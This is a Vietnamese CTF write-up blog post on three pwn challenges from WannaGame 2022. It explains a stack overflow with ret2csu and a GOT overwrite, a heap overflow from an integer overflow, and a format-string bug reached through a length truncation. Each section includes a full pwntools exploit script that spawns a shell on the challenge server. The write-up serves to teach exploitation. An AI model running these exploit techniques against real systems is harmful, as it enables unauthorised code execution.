WannaGame CTF 2022 Writeup - Pwn Category

Một vài bài pwn khá thú vị và đặc biệt có sự xuất hiện của pwn với java (mặc dù ta không động gì đến java internal)

Dec 10,2022
Lâu lắm rồi mới có một giải CTF local mà mình có thời gian tham gia (mặc dù mình đang trong đợt thi kết thúc học phần)
Đây là năm đầu tiên mình tham gia giải WannaGame và cũng chắc là giải CTF cuối cùng mình tham gia trong năm nay. Vì vậy mình muốn tổng kết lại chút một vài kỹ thuật exploit mà mình đã học được (cũng không có gì nhiều lắm)

Warmup

desc1
cks1
Ta có thể đoán được bài warmup này sẽ là buffer overflow gì đó…
Sau khi mình thả vào Ghidra thì ngay lập tức nhìn ra vuln.
cks1
Chúng ta có thể nhập n phần tử vào mảng tùy thích. Mỗi phần tử được nhập với scanf format %lu.
Vậy nên để bypass tránh việc ghi đè canary ta chỉ cần nhập chữ cái mà không thuộc format %lu thì phần tử đó sẽ bị skip, không thay đổi.
Vậy giờ ta hoàn toàn có thể ROP leak libc và rồi ret2libc. Nhưng ở đây mình sẽ dùng một vài rop gadget đặc biệt mà nhờ vậy ta không cần leak.
2 gadget ta sẽ dùng đó là:

   0x4013ca <__libc_csu_init+90>:       pop    rbx
   0x4013cb <__libc_csu_init+91>:       pop    rbp
   0x4013cc <__libc_csu_init+92>:       pop    r12
   0x4013ce <__libc_csu_init+94>:       pop    r13
   0x4013d0 <__libc_csu_init+96>:       pop    r14
   0x4013d2 <__libc_csu_init+98>:       pop    r15
   0x4013d4 <__libc_csu_init+100>:      ret    
   0x40119c <__do_global_dtors_aux+28>: add    DWORD PTR [rbp-0x3d],ebx
   0x40119f <__do_global_dtors_aux+31>: nop
   0x4011a0 <__do_global_dtors_aux+32>: ret

Với 2 gadget này ta có thể add vào địa chỉ chứ tại [rbp - 0x3d] với ebx ta kiểm soát.
Đồng thời ta thấy rằng binary ở đây có Partial Relro, nên ta sẽ relative add lên got table biến printf thành one_gadget.
One_gadget mình dùng:

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

Exploit script:

#!/usr/bin/env python3

from pwn import *

r = remote("45.122.249.68", 20001)
p = b'+'*20
p1 = 0x4013ca
add = 0x000000000040119c
printf_plt = 0x404020
need = 0x8b581
pop_rbp = 0x000000000040119d
def e(x):
    return str(x).encode() + b'\n'
p += e(p1)
p += e(need)
p += e(printf_plt + 0x3d)
p += e(0)*4
p += e(add)
p += e(pop_rbp) + e(0x00000000404500)
p += e(0x401090)
r.sendlineafter("n: ",str(30).encode())
r.sendafter("[0]: ",p)

r.interactive()

P/s: Technique này sẽ không còn tồn tại khi compile với gcc mới nhất vì gadget ret2csu mà mình dùng để điều khiển rbx sẽ không còn :<

Baby_calc

desc2
Binary không bị stripped nhưng mà sẽ hay hơn nếu mà anh pivik cho source code đặc biệt là với format 8 tiếng :<
Chương trình sẽ cho ta vô hạn lần cung cấp command cho calculator, command sẽ có struct như sau:

struct command {
    uint32_t op;
    uint32_t feedback_len;
    uint32_t a;
    uint32_t b;
};

struct command này sẽ được parse ra và lưu vào struct data để calculator thực hiện sau:

struct data {
    uint32_t op;
    uint32_t feedback_len;
    uint32_t a;
    uint32_t b;
    char * feedback;
    int (*func_op)(int,int);
};

Ngoài ra các kết quả của phép tính sẽ được lưu dưới dạng singly-linked list.
Tất cả các struct trên đều được lưu lại trên heap.
Vuln nằm ở trong quá trình malloc array để chứa feedback.

    feedback_ptr = malloc(user_command->feedback_len << 3);

Quá trình tính size để malloc rất lạ lùng…
Do ta cung cấp size với 32 bit, vậy nên dịch trái 3 bit có thể dẫn tới integer overflow. Dẫn đến malloc một số bé và rồi read một số lượng lớn ở sau.

    read(0,data_calc->feedback,data_calc->feedback_len);

Điều này dẫn đến heap overflow ta có thể overflow tất cả các struct nói trên.
Để leak được đầu tiên ta sẽ lợi dụng trong hàm view_result sẽ dùng printf("%s",) để in ra các phép tính trước
Vậy ta sẽ overflow operator_data được lưu lại của phép tính trước với ‘A’ để dẫn đến: ‘AAAAAAAAAAA’ + heap address.
printf sẽ in hết ra đống A đấy và heap address lưu ngay đằng sau.
Sau đó sẽ overflow operator_data pointer ở trên heap của struct singly-linked list đã nói trên, dẫn đến arbitrary read.
Với heap address leak được ta sẽ arb read function pointer của struct data, rồi libc address.
Cuối cùng ta chỉ cần overflow function pointer thành one_gadget.

Chú ý: Mỗi vòng lặp các thao tác liên quan đến heap như sau:

malloc struct data -> malloc feedback -> read feedback -> malloc operator_data -> malloc singly-linked list node -> free feedback

Vậy nên ta thấy rằng ban đầu khi ta overflow feedback thì sau đó không có gì quan trọng để ta ghi đè.
Cho nên ta cần malloc feedback 0x20 rồi free feedback để có một chunk feedback 0x20 bytes trong tcache.
Lúc sau khi ta integer overflow malloc(0) thì ta sẽ lấy ra cái chunk feedback 0x20 trong tcache (chunk feedback phép tính 1) và sẽ giúp ta overflow được operator_data của phép tính đầu và cả singly-linked list node của phép tính đầu.

Exploit script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./baby_calc_patched")
libc = ELF("./libc.so.6")
#r = gdb.debug('./baby_calc_patched')
r = remote("45.122.249.68", 20002)
def new(size):
    return b'+\0\0\0' + p32(size) + p32(0)*2

sz = 536870912
r.send(new(0))
r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'A'*(0x90 - 1) + b'|'
r.sendafter("feedback:",p)

r.recvuntil(b'|')
heap = u64(r.recv(6).ljust(8,b'\0'))
log.info("HEAP LEAK: " + hex(heap))
r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'\0'*(0x90 - 8) + p64(0x21) + p64(heap + 0x1a8)
r.sendafter("feedback:",p)
r.recvuntil(b'\x8f')
pie = u64( (b'\x8f' + r.recv(5)).ljust(8,b'\0'))
log.info("PIE LEAK: " + hex(pie))

r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'\0'*(0x90 - 8) + p64(0x21) + p64(pie + 0x2d09)
r.sendafter("feedback:",p)
r.recvuntil(b'\x70')
libc = u64( (b'\x70' + r.recv(5)).ljust(8,b'\0'))
log.info("LIBC LEAK: " + hex(libc))
one_gadget = libc - 0x60770 + 0xebcf8

r.sendafter("0\n",new(8))
r.sendafter("feedback:",b'\0')
r.sendafter("0\n",new(536870912 + 8))

p = p64(0)*9 + p64(0x91) + b'\0'*(0x88)
p += p64(0x31)
p += p64(0x200000080000002b) + p64(0)
p += p64(heap + 0x380)
p += p64(one_gadget)

r.sendafter("feedback:",p)
r.interactive()

base64-convert

desc3
de
Về cơ bản bài này chỉ là sử dụng hàm convert trong libconvert.so, và vuln nằm trong libconvert.so với integer overflow.
Ngoài ra có một logic bug khác ở java đó là khi i < 0x10000, ta vẫn có thể nhập 0x2000 bytes dẫn đến string của ta dài hơn 0x10000 bytes. Điều này sẽ dấn đến short overflow trong hàm convert.

struct data {
    uint16_t len;
    char data[];
};
  (**(code **)(functions + (long)(int)*(char *)(message_struct->data + message_struct->len) * 8))
            (data_string,len);

Khi length của message chúng ta bên java = 0x10070 thì length ở bên hàm convert sẽ chỉ còn là 0x70 dẫn đến cái index function được lưu ở cuối dãy data_string sẽ hoàn toàn do ta kiểm soát.
Vậy nên ta chỉ cần overflow và chọn một index là số âm để gọi printf có trong got table. Từ đây ta có format string vulnerability với data_string
Ta rồi có thể leak các address và đồng thời data_string nếu có length < 0x7f sẽ được lưu trên stack, ta có thể arb read và arb write, từ đây có thể ghi địa chỉ system vào functions và gọi nó.
Exploit script:

from pwn import *

def ap(s):
    r.sendlineafter("Exit\n",b'4')
    r.sendafter("string: ",s)

def en():
    r.sendlineafter("Exit\n",b'1')

def de():
    r.sendlineafter("Exit\n",b'2')
def clr():
    r.sendlineafter("Exit\n",b'5')   
def prt():
    r.sendlineafter("Exit\n",b'3')   
#r = remote("localhost",9003)
r = remote("45.122.249.68", 20028)
def bug(s):
    clr()
    ap((s.ljust(0x70,b'\0') + p64(0xea)).ljust(0x400,b'\0'))
    for i in range(62):
        ap(b'\0'*0x400)
    ap(b'\0'*(0x400-1))
    ap(b'\0'*(1+0x70))

    en()
context.log_level = 1
bug(b"|%149$llx|%3$llx|")
r.recvuntil(b"|")
libc = int(r.recvuntil(b'|')[:-1],16)
base = libc - 0xa51b9
convert = int(r.recvuntil(b'|')[:-1],16)
base_convert = convert - 0x1060
system = base + 0x50d60
log.info("LIBC BASE ADDRESS: " + hex(base))
log.info("CONVERT BASE ADDRESS: " + hex(base_convert))

ad = {}
ad[system & 0xffff] = 0
ad[(system >> 16) & 0xffff] = 1
ad[(system >> 32) & 0xffff] = 2
addr = []
addr.append(system & 0xffff)
addr.append((system >> 16) & 0xffff)
addr.append((system >> 32) & 0xffff)
addr.sort()
p = f"%{addr[0]}c%{20 + ad[addr[0]]}$hn%{addr[1] - addr[0]}c%{20 + ad[addr[1]]}$hn%{addr[2]-addr[1]}c%{20 + ad[addr[2]]}$hn"
p = p.encode()
p = p.ljust(0x50,b'\0')
p += p64(base_convert + 0x40e0) + p64(base_convert + 0x40e0 + 2) + p64(base_convert + 0x40e0 + 4)
bug(p)
clr()
ap(b'/bin/sh')
en()
r.interactive()

Lời kết

Rất cảm ơn anh pivik#3475Cobra#4365 đã ra những pwn challenge hay và phù hợp với format 8 tiếng.
Đặc biệt bug bài java của anh Cobra rất là thú vị và khó tìm thấy :)

piers

My personal blog on the journey of learning how2pwn


Writeup on 3 pwn challenge

By Piers, 10-12-2022